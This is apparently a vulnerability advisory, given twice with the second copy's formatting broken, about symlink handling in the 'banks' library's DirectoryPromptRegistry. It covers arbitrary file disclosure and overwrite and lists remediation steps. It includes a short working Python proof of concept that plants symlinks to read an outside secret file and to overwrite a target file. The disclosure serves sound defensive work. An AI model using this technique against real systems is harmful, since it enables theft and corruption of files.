Summary
In banks.registries.DirectoryPromptRegistry, prompt file paths and the index file (index.json) do not refuse symbolic links. When a prompt directory contains or accepts untrusted files (e.g. unpacked archives, shared repositories, or multi-tenant folders), symbolic links pointing outside the registry root can be used to disclose arbitrary files via _scan() / get() or overwrite arbitrary files via set() / _save().
Details
Following PR #77, DirectoryPromptRegistry validates path resolution for prompt names. However:
self._index_path (index.json) is not checked for symbolic links. A symlink pointing to an external target (e.g. a configuration file) will be overwritten by _save() upon reg.set(), or read via _load().
- In
_scan(), discovered .jinja files are opened and indexed without checking if path.is_symlink() or if the resolved path escapes the registry root. A symlink pointing to a sensitive file outside the root is read and indexed.
- In
set(), prompt_file.write_text(...) is called without checking if prompt_file is an existing symbolic link pointing outside the root.
Impact
Arbitrary file disclosure (CWE-59 / CWE-200) and arbitrary file overwrite (CWE-59) in applications where prompt directories can be influenced by untrusted users or extracted from archives.
Proof of Concept
import os
from pathlib import Path
from banks.registries.directory import DirectoryPromptRegistry, DEFAULT_INDEX_NAME
from banks.prompt import Prompt
# Disclose external file via symlink in prompt directory
reg_dir = Path("/tmp/registry")
reg_dir.mkdir(exist_ok=True)
secret = Path("/tmp/secret.txt")
secret.write_text("SECRET_API_TOKEN")
os.symlink(secret, reg_dir / "leak.0.jinja")
reg = DirectoryPromptRegistry(reg_dir, force_reindex=True)
print("Disclosed content:", reg.get(name="leak", version="0").raw)
# Overwrite external file via symlink index
target = Path("/tmp/target.conf")
target.write_text("ORIGINAL")
(reg_dir / DEFAULT_INDEX_NAME).unlink(missing_ok=True)
os.symlink(target, reg_dir / DEFAULT_INDEX_NAME)
reg.set(prompt=Prompt("pwn", name="test", version="1"))
print("Target overwritten:", target.read_text())
Remediation
- In
_validate_index_path(): verify _index_path is not a symlink and resolves within _path.
- In
_scan(): reject path.is_symlink() and check path.resolve().is_relative_to(root).
- In
set(): reject existing symbolic links before writing.
A tested fix and regression tests have been prepared and pushed to:
https://github.com/jankesec/banks/tree/fix-directory-registry-symlinks-and-nesting
References
Summary
In
banks.registries.DirectoryPromptRegistry, prompt file paths and the index file (index.json) do not refuse symbolic links. When a prompt directory contains or accepts untrusted files (e.g. unpacked archives, shared repositories, or multi-tenant folders), symbolic links pointing outside the registry root can be used to disclose arbitrary files via_scan()/get()or overwrite arbitrary files viaset()/_save().Details
Following PR #77,
DirectoryPromptRegistryvalidates path resolution for prompt names. However:self._index_path(index.json) is not checked for symbolic links. A symlink pointing to an external target (e.g. a configuration file) will be overwritten by_save()uponreg.set(), or read via_load()._scan(), discovered.jinjafiles are opened and indexed without checking ifpath.is_symlink()or if the resolved path escapes the registry root. A symlink pointing to a sensitive file outside the root is read and indexed.set(),prompt_file.write_text(...)is called without checking ifprompt_fileis an existing symbolic link pointing outside the root.Impact
Arbitrary file disclosure (CWE-59 / CWE-200) and arbitrary file overwrite (CWE-59) in applications where prompt directories can be influenced by untrusted users or extracted from archives.
Proof of Concept
Remediation
_validate_index_path(): verify_index_pathis not a symlink and resolves within_path._scan(): rejectpath.is_symlink()and checkpath.resolve().is_relative_to(root).set(): reject existing symbolic links before writing.A tested fix and regression tests have been prepared and pushed to:
https://github.com/jankesec/banks/tree/fix-directory-registry-symlinks-and-nesting
References